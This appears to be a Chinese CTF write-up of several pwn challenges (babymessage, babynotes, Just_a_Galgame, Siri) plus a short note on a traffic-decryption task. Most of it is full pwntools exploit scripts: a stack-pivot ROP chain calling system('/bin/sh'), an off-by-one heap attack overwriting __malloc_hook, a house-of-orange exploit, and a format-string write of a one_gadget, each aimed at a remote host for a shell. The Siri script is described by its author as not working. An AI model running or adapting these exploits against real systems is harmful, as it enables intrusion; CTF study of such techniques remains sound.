强网先锋

babymessage

栈溢出漏洞,通过0x10的输入修改rbp,通过判断,使得输入的大小改为0x100,修改返回地址,调用puts泄露libc地址,由于rbp改变,在进行一遍覆盖rbp,覆盖返回地址即可getshell

# encoding=utf-8
from pwn import *

file_path = "./babymessage"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
    p = process([file_path])
    gdb.attach(p, "b *0x400963\\\\n")
    libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.27/lib/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('123.56.170.202', 21342)
    libc = ELF('./libc-2.27.so')
    one_gadget = 0x0

def leave_name(name):
    p.sendlineafter("choice: \\\\n", "1")
    p.sendafter("name: \\\\n", name)

def leave_message(message):
    p.sendlineafter("choice: \\\\n", "2")
    p.sendafter("message: \\\\n", message)

def show_message():
    p.sendlineafter("choice: \\\\n", "3")

def shut():
    p.sendlineafter("choice: \\\\n", "4")

p_rdi_r = 0x400ac3
p_rsi_r15_r = 0x400ac1
call_write = 0x400904
call_puts = 0x40087C
main_address = 0x4009DD
mm_address = 0x6010c0
leave_message_address = 0x400821
jmp_rbp = 0x0000000000400d23
leave_ret = 0x0000000000400886
work_address = 0x40091A

leave_name("9999")
leave_message(p64(leave_ret) + p64(mm_address + 0x18-0x4))
leave_message(p64(leave_ret) + p64(mm_address + 0x8) + p64(p_rdi_r) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(work_address))
p.recvline()
p.recvline()
libc.address = u64(p.recv(6).ljust(8, b"\\\\x00")) - libc.sym['read']
log.success("libc address {}".format(hex(libc.address)))
leave_message(b"b"*0x8 + p64(mm_address + 0x18-0x4))
leave_message(p64(leave_ret) + p64(mm_address + 0x18-0x4) + p64(p_rdi_r) + p64(libc.search(b"/bin/sh").__next__()) + p64(p_rsi_r15_r) + p64(0)*2 +  p64(libc.sym['system']))
p.interactive()

babynotes

reset申请0x18大小的堆块,之后进行strcpy的时候存在off-by-one漏洞

首先通过unsorted bin 残留的地址泄露出libc基址,接着利用off-by-one漏洞造成chunk extend,释放之后再次申请就可以直接控制下一个chunkfd指针,fastbin attack覆写malloc_hook

# encoding=utf-8
from pwn import *

file_path = "./babynotes"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
    p = process([file_path])
    gdb.attach(p, "b *0x400F67")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0xf1207

else:
    p = remote('123.56.170.202', 43121)
    libc = ELF('libc-2.23.so')
    one_gadget = 0xf1207

bbs_address = 0x6020c0

def regesit(name, motto, age):
    p.sendafter("name: \\\\n", name)
    p.sendafter("motto: \\\\n", motto)
    p.sendlineafter("age: \\\\n", str(age))

def add(index, size):
    p.sendlineafter(">> ", "1")
    p.sendlineafter("Input index: ", str(index))
    p.sendlineafter("Input note size: ", str(size))

def show(index):
    p.sendlineafter(">> ", "2")
    p.sendlineafter("Input index: ", str(index))
    p.recvuntil("Note {}: ".format(str(index)))

def delete(index):
    p.sendlineafter(">> ", "3")
    p.sendlineafter("Input index: ", str(index))

def edit(index, content):
    p.sendlineafter(">> ", "4")
    p.sendlineafter("Input index: ", str(index))
    p.sendafter("Input your note: ", content)

def reset(name, motto, age):
    p.sendlineafter(">> ", "5")
    regesit(name, motto, age)

def check():
    p.sendlineafter(">> ", "6")

def shut():
    p.sendlineafter(">> ", "7")

regesit("12", "12", bbs_address)
add(0, 0x18)
delete(0)
add(2, 0xd0)
add(5, 0x28)
delete(2)
add(1, 0x68)
add(0, 0x68)
delete(5)
show(0)
libc.address = u64(p.recv(6).ljust(8, b"\\\\x00")) - 88 - libc.sym['__malloc_hook'] - 0x10
log.success("libc address {}".format(hex(libc.address)))

reset(cyclic(0x18), cyclic(0x20), 0xe1)
delete(1)
add(1, 0xd0)
delete(0)
edit(1, cyclic(0x68) + p64(0x71) + p64(libc.sym['__malloc_hook'] - 0x23))
add(0, 0x68)
add(2, 0x68)
edit(2,  b"\\\\x00"*3 + p64(0)*2 + p64(one_gadget + libc.address) + b"\\\\n")
add(3, 0x30)

p.interactive()

Just_a_Game

edit处存在一个0x8字节的溢出,利用house of orange释放top chunk,泄露libc基址。申请0x1000的堆块的时候又获得了一次edit的机会

case 5处的判断好像没有用,写入__malloc_hook-0x60的地址可以通过,因此利用edit处的数组越界,对malloc_hook进行改写

# encoding=utf-8
from pwn import *

file_path = "./Just_a_Galgame"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
    p = process([file_path])
    gdb.attach(p, "b *0x04012C2")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x10a45c

else:
    p = remote('123.56.170.202', 52114)
    libc = ELF('libc.so.6')
    one_gadget = 0x10a45c

def add():
    p.sendlineafter(">> ", "1")

def edit(index, content):
    p.sendlineafter(">> ", "2")
    p.sendlineafter("idx >> ", str(index))
    p.sendafter("movie name >> ", content)

def malloc_big_chunk():
    p.sendlineafter(">> ", "3")

def show_all():
    p.sendlineafter(">> ", "4")

def shut(content):
    p.sendlineafter(">> ", "5")
    p.sendafter("a while? QAQ\\\\n", content)

buf_list = 0x404060

add()
edit(0, p64(0)+p64(0xd41))
malloc_big_chunk()
add()
show_all()
p.recvuntil("1: ")
libc.address = u64(p.recv(6).ljust(8, b"\\\\x00")) - 0x660 - libc.sym['__malloc_hook'] - 0x10
log.success("libc address {}".format(hex(libc.address)))

shut(p64(libc.sym['__malloc_hook'] - 0x60))

index = int((0x4040A0-0x404060)/8)

edit(index, p64(one_gadget + libc.address))

add()

p.interactive()

Siri

这题目难顶,一开始写返回地址用的是rop链,调system,发现rsi控制不了,字符串超了。之后改用gadget,眼睁睁看着进了systemexecve感觉也没啥问题,难顶,最后队友搞出来了。

后面填坑

# encoding=utf-8
from pwn import *

file_path = "./Siri"
context.arch = "amd64"
# context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path], env={"LD_PRELOAD":"./libc.so.6"})
    gdb.attach(p, 'b *0x5555555552B1\\\\nb *0x555555555417')
    libc = ELF('./libc.so.6')
    one_gadget = 0x10a45c
    p_rdi_r = 0x10a45c

else:
    p = remote('123.56.170.202', 12124)
    libc = ELF('libc.so.6')
    one_gadget = 0x10a45c
    p_rdi_r = 0x10a45c

str_head = "Remind me to "
p.sendlineafter(">>> ", "Hey Siri!")
payload = "%80$p %81$p %82$p %83$p"
# payload = "%08x "*0x10
p.sendlineafter(">>> ", str_head + payload)
p.recvuntil("remind you to ")
stack_address = int(p.recvuntil(" ", drop=True), 16) - 0x1b0
canary = int(p.recvuntil(" ", drop=True), 16)
elf.address = int(p.recvuntil(" ", drop=True), 16) - 0x14d0
libc.address = int(p.recvline().strip(b"\\\\n"), 16) - 231 - libc.sym['__libc_start_main']

strncmp_got = elf.got['strncmp']
system_address = libc.sym['system']
log.success("strncmp address {}".format(hex(strncmp_got)))
log.success("system address {}".format(hex(system_address)))
binsh_address = libc.search(b"/bin/sh").__next__()
p_rdi_r += libc.address
one_gadget += libc.address
log.success("r rdi ret {}".format(hex(p_rdi_r)))
log.success("one gadget {}".format(hex(one_gadget)))

payload = str_head

# 0x7ffff7a373c2
payload += "%{}c%57$hn".format(0xffff & ((one_gadget & 0xffff) - 27))
payload += "%{}c%58$hn".format(0xffff & (((one_gadget >> 16) & 0xffff) - (one_gadget & 0xffff)))
payload += "%{}c%59$hn".format(0xffff & (((one_gadget >> 32) & 0xffff) - (one_gadget >> 16) & 0xffff))
payload += "%{}c%60$hn".format(0xffff & (((one_gadget >> 48) & 0xffff) - (one_gadget >> 32) & 0xffff))

payload = payload.ljust(0x48, "a").encode()

payload += p64(stack_address + 0x8)
payload += p64(stack_address + 0x8 + 2)
payload += p64(stack_address + 0x8 + 4)
payload += p64(stack_address + 0x8 + 6)

# # 0x7ffff7a3752b
# payload += "%{}c%78$n".format((system_address >> 32 & 0xffff) - 27)
#
# payload += "%{}c%68$hn".format(0xffff & ((p_rdi_r & 0xffff) - (system_address >> 32 & 0xffff) ))
# payload += "%{}c%69$hn".format(0xffff & (((p_rdi_r >> 16) & 0xffff) - (p_rdi_r & 0xffff)))
# payload += "%{}c%70$hn".format(0xffff & (((p_rdi_r >> 32) & 0xffff) - (p_rdi_r >> 16) & 0xffff))
# payload += "%{}c%71$hn".format(0xffff & (((p_rdi_r >> 48) & 0xffff) - (p_rdi_r >> 32) & 0xffff))
#
# # 0x7ffff7b990be
# payload += "%{}c%72$hn".format(0xffff & (binsh_address & 0xffff) - (p_rdi_r >> 48) & 0xffff)
# payload += "%{}c%73$hn".format(0xffff & ((binsh_address >> 16) & 0xffff) - (binsh_address & 0xffff))
# payload += "%{}c%74$hn".format(0xffff & (((binsh_address >> 32) & 0xffff) - ((binsh_address >> 16) & 0xffff)))
# payload += "%{}c%75$hn".format(0xffff & (((binsh_address >> 48) & 0xffff) - ((binsh_address >> 32) & 0xffff)))
#
# # 0x7ffff7a74c67
# payload += "%{}c%76$hn".format(0xffff & ((system_address & 0xffff) - (binsh_address >> 48) & 0xffff))
# payload += "%{}c%77$hn".format(0xffff & (((system_address >> 16) & 0xffff) - (system_address & 0xffff)))
#
# payload = payload.ljust(0xa0, "a").encode()
# payload += p64(stack_address + 0x8)
# payload += p64(stack_address + 0x8 + 2)
# payload += p64(stack_address + 0x8 + 4)
# payload += p64(stack_address + 0x8 + 6)
# payload += p64(stack_address + 0x10)
# payload += p64(stack_address + 0x10 + 2)
# payload += p64(stack_address + 0x10 + 4)
# payload += p64(stack_address + 0x10 + 6)
# payload += p64(stack_address + 0x18)
# payload += p64(stack_address + 0x18 + 2)
# payload += p64(stack_address + 0x18 + 4)
# payload = payload.ljust(0x100, b"\\\\x00")
# payload = "%08x "*0x10
p.sendlineafter(">>> ", "Hey Siri!")
p.sendlineafter(">>> ", payload)
log.success("system address {}".format(hex(system_address)))
log.success("bin sh address {}".format(hex(binsh_address)))
log.success("stack address {}".format(hex(stack_address)))
log.success("binary base {}".format(hex(elf.address)))
log.success("canary {}".format(hex(canary)))
log.success("libc address {}".format(hex(libc.address)))
p.interactive()

红方辅助

从客户端来看首先是发送的G,然后服务端返回btime,客户端对数据进行加密之后发送boffsetenc_data

加密函数中随机产生的数据,如fn,salt都包含在加密数据的起始位置,如果可以得到这些随机数据既可以对数据流进行解密